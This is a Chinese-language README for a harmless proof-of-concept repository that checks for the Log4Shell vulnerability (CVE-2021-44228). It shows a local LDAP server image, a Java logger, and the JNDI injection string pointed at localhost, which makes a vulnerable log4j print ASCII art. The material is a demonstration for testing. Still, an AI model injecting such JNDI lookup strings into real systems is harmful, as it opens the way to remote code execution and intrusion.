这是用于检查漏洞 CVE-2021-44228 的仓库。
这是一个仅显示字符串的PoC,不涉及任何外部类加载。它不能用于任意代码执行。
镜像 ghcr.io/greymd/cve-2021-44228/server 可用,并且可以在Docker上运行。
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server
准备使用log4j输出日志的代码,并在同一主机上运行。
使输出字符串为 ${jndi:ldap://127.0.0.1:1389/a}。
package logger;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class App {
private static final Logger logger = LogManager.getLogger(App.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/a}");
}
}
如果参数是引发漏洞的字符串,短语「うんこもりもり」(意为“一堆屎”)将被成功记录。
17:52:24.871 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
如果你懒得编写和构建代码,你可以使用此仓库中的一个简单的logger应用程序。 第一个参数将由Logger输出。
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello
给出一个导致漏洞的参数的示例如下。
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
如果你拥有不受漏洞影响的log4j版本,或者服务器应用没有运行,字符串将原样输出,不做任何修改。你可以通过如下所示更新logger应用的版本来验证这一点。
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...
正如我提到的(并且据我调查),除非JNDI的目标服务器正在运行,否则此漏洞无法重现。因此,一个简单的PoC是很有用的。
实现中参考了以下URL:
OpenJDK Runtime Environment (build 1.8.0_302-b08)OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)